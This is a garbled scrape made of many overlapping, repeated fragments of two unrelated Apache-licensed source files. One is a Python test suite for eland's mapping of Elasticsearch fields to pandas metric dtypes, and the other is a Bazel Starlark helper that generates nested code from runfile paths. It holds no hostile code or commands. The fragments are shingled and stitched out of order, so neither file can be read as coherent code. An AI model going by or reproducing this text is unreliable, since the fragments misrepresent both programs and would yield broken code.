License, Version 2.0 (the \"License\"); # you may", "include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert", "= pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert", "object customer_birth_date datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME,", "of there are metric category object currency object customer_birth_date datetime64[ns] customer_first_name object user", "Note: non of there are metric category object currency object customer_birth_date datetime64[ns] customer_first_name", "2.0 (the \"License\"); # you may not use this file except in compliance", "display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number)", "object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes,", "compatability import numpy as np import eland as ed from eland.tests import ES_TEST_CLIENT,", "from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData): def", "for the specific language governing permissions and # limitations under the License. #", "pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats)", "taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names]", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the", "customer_birth_date datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names,", ") pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert", "test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats", "import eland as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import", "= ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert", "BV # # Licensed under the Apache License, Version 2.0 (the \"License\"); #", "customer_first_name object total_quantity int64 user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names,", "set( {\"strict_date_hour_minute_second\", None} ) # TODO - test position of date_format def test_ecommerce_selected_non_metric_source_fields(self):", "test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats", "# # Unless required by applicable law or agreed to in writing, software", "len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\",", "express or implied. # See the License for the specific language governing permissions", "ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert", "float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce =", "ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert", "== ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) ==", "ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() ==", "there are metric category object currency object customer_birth_date datetime64[ns] customer_first_name object user object", "either express or implied. # See the License for the specific language governing", "ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric", "Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) # TODO - test position", "metric total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME,", "ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list()", "self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes", "es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() ==", "the License. # File called _pytest for PyCharm compatability import numpy as np", "== ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings", "currency object customer_birth_date datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT),", "the License. # You may obtain a copy of the License at #", "len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT),", ") # TODO - test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [", "# distributed under the License is distributed on an \"AS IS\" BASIS, #", "ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes", "client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "metric category object currency object customer_birth_date datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings", "= ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields(", "= self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() ==", "# limitations under the License. # File called _pytest for PyCharm compatability import", "\"\"\" Note: all are metric total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings", "== ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are", "ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert", "assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings(", "with the License. # You may obtain a copy of the License at", "self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\",", "object currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user object \"\"\" ed_field_mappings", "== ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"]", "len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\",", "# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you", "np import eland as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common", "law or agreed to in writing, software # distributed under the License is", "Copyright 2019 Elasticsearch BV # # Licensed under the Apache License, Version 2.0", "the License for the specific language governing permissions and # limitations under the", "assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings(", "object user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce =", "Elasticsearch BV # # Licensed under the Apache License, Version 2.0 (the \"License\");", "= self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number,", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "object currency object customer_birth_date datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings = ed.FieldMappings(", "pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None}", "= self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() ==", "ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None}", "index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric", "{\"strict_date_hour_minute_second\", None} ) # TODO - test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names", "assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) # TODO - test position of", "pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes", "include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() ==", "assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert", "as np import eland as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from", "<reponame>redNixon/eland # Copyright 2019 Elasticsearch BV # # Licensed under the Apache License,", "set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self):", "in compliance with the License. # You may obtain a copy of the", "total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names,", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "\"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes)", "See the License for the specific language governing permissions and # limitations under", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one is metric category", "== len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() ==", "index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric =", "ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in", "under the License. # File called _pytest for PyCharm compatability import numpy as", "ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"])", "\"taxless_total_price\"] \"\"\" Note: all are metric total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\"", "= ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() ==", "datetime64[ns] customer_first_name object total_quantity int64 user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME,", "\"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes)", "category object currency object customer_birth_date datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings =", "client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric =", "{None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes,", "Version 2.0 (the \"License\"); # you may not use this file except in", "is metric category object currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user", "except in compliance with the License. # You may obtain a copy of", "permissions and # limitations under the License. # File called _pytest for PyCharm", "position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\",", "customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT),", "# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "may not use this file except in compliance with the License. # You", "License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names]", "called _pytest for PyCharm compatability import numpy as np import eland as ed", "2019 Elasticsearch BV # # Licensed under the Apache License, Version 2.0 (the", "= [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one is", "test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non", "== len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\",", "Note: all are metric total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings =", "ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list()", "assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights", "ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats =", "assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights", "ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings =", "metric category object currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user object", "ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings =", "test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats", "pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes)", "= self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) ==", "ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set()", "assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields def", "pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\",", "License. # File called _pytest for PyCharm compatability import numpy as np import", "distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT", "ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list()", "] \"\"\" Note: one is metric category object currency object customer_birth_date datetime64[ns] customer_first_name", "and # limitations under the License. # File called _pytest for PyCharm compatability", "def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\"", "as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class", "datetime64[ns] customer_first_name object user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, )", "import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings" ]
[ "# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you", "writing, software # distributed under the License is distributed on an \"AS IS\"", "Sentinel values to close the last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel", "-1: for pos in range(len(previous_segments) - 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level", "the specific language governing permissions and # limitations under the License. load(\":common.bzl\", \"escape\")", "KIND, either express or implied. # See the License for the specific language", "Unless required by applicable law or agreed to in writing, software # distributed", "You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "# See the License for the specific language governing permissions and # limitations", "License. # You may obtain a copy of the License at # #", "_mismatch(previous_segments, segments) if mismatch_pos != -1: for pos in range(len(previous_segments) - 1, mismatch_pos", "= segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1), len(l2)) for i", "end_group, emit, indent_per_level = 0): runfiles_per_path = {} for runfile in runfile_structs: segments", "License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path =", "law or agreed to in writing, software # distributed under the License is", "indent_per_level * pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions", "the License for the specific language governing permissions and # limitations under the", "compliance with the License. # You may obtain a copy of the License", "for the specific language governing permissions and # limitations under the License. load(\":common.bzl\",", "* pos)) definitions = [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments)))", "to close the last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value to", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "this file except in compliance with the License. # You may obtain a", "runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code)", "== 0: return s indent = level * \" \" return \"\\n\".join([indent +", "the Apache License, Version 2.0 (the \"License\"); # you may not use this", "you may not use this file except in compliance with the License. #", "-1 else: return min_length def _indent(s, level): if level == 0: return s", "begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path = {} for runfile in runfile_structs:", "def _indent(s, level): if level == 0: return s indent = level *", "+ (runfile.pkg.split(\"/\") if runfile.pkg else []) segments = [escape(s) for s in segments]", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "= [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions))", "!= l2[i]: return i if len(l1) == len(l2): return -1 else: return min_length", "return i if len(l1) == len(l2): return -1 else: return min_length def _indent(s,", "language governing permissions and # limitations under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs,", "min_length def _indent(s, level): if level == 0: return s indent = level", "<NAME> # # Licensed under the Apache License, Version 2.0 (the \"License\"); #", "generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path = {} for runfile in", "def _mismatch(l1, l2): min_length = min(len(l1), len(l2)) for i in range(min_length): if l1[i]", "if mismatch_pos != -1: for pos in range(len(previous_segments) - 1, mismatch_pos - 1,", "ANY KIND, either express or implied. # See the License for the specific", "if level == 0: return s indent = level * \" \" return", "= {} for runfile in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg", "if runfile.pkg else []) segments = [escape(s) for s in segments] segments =", "in compliance with the License. # You may obtain a copy of the", "pos in range(len(previous_segments) - 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos))", "\"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1), len(l2)) for i in range(min_length): if", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "in paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos != -1: for pos in", "to open the first group. previous_segments = [] code = [] for segments", "pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = []", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #", "permissions and # limitations under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group,", "use this file except in compliance with the License. # You may obtain", "* len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def _mismatch(l1, l2):", "return \"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1), len(l2)) for i in range(min_length):", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def", "not use this file except in compliance with the License. # You may", "if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length =", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See", "# limitations under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level", "and # limitations under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit,", "code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos))", "i in range(min_length): if l1[i] != l2[i]: return i if len(l1) == len(l2):", "(runfile.pkg.split(\"/\") if runfile.pkg else []) segments = [escape(s) for s in segments] segments", "See the License for the specific language governing permissions and # limitations under", "for pos in range(len(previous_segments) - 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level *", "segments = [escape(s) for s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos != -1: for pos in range(len(previous_segments) -", "License, Version 2.0 (the \"License\"); # you may not use this file except", "# Licensed under the Apache License, Version 2.0 (the \"License\"); # you may", "governing permissions and # limitations under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group,", "paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value to open the first group. previous_segments", "group. previous_segments = [] code = [] for segments in paths: mismatch_pos =", "emit, indent_per_level = 0): runfiles_per_path = {} for runfile in runfile_structs: segments =", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "= [] for segments in paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos !=", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "pos)) definitions = [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if", "indent_per_level = 0): runfiles_per_path = {} for runfile in runfile_structs: segments = [runfile.repo]", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def _mismatch(l1,", "range(min_length): if l1[i] != l2[i]: return i if len(l1) == len(l2): return -1", "_indent(s, level): if level == 0: return s indent = level * \"", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in", "= min(len(l1), len(l2)) for i in range(min_length): if l1[i] != l2[i]: return i", "return -1 else: return min_length def _indent(s, level): if level == 0: return", "for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments =", "for segments in paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos != -1: for", "-1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level *", "OF ANY KIND, either express or implied. # See the License for the", "values to close the last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value", "len(l1) == len(l2): return -1 else: return min_length def _indent(s, level): if level", "[]).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values to close the last group. paths.append(tuple())", "2.0 (the \"License\"); # you may not use this file except in compliance", "limitations under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level =", "l1[i] != l2[i]: return i if len(l1) == len(l2): return -1 else: return", "code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level", "runfile.pkg else []) segments = [escape(s) for s in segments] segments = tuple(segments)", "# you may not use this file except in compliance with the License.", "indent_per_level * pos)) definitions = [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level *", "= level * \" \" return \"\\n\".join([indent + line for line in s.split(\"\\n\")])", "load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path = {}", "i if len(l1) == len(l2): return -1 else: return min_length def _indent(s, level):", "[] # Sentinel value to open the first group. previous_segments = [] code", "[]) segments = [escape(s) for s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, 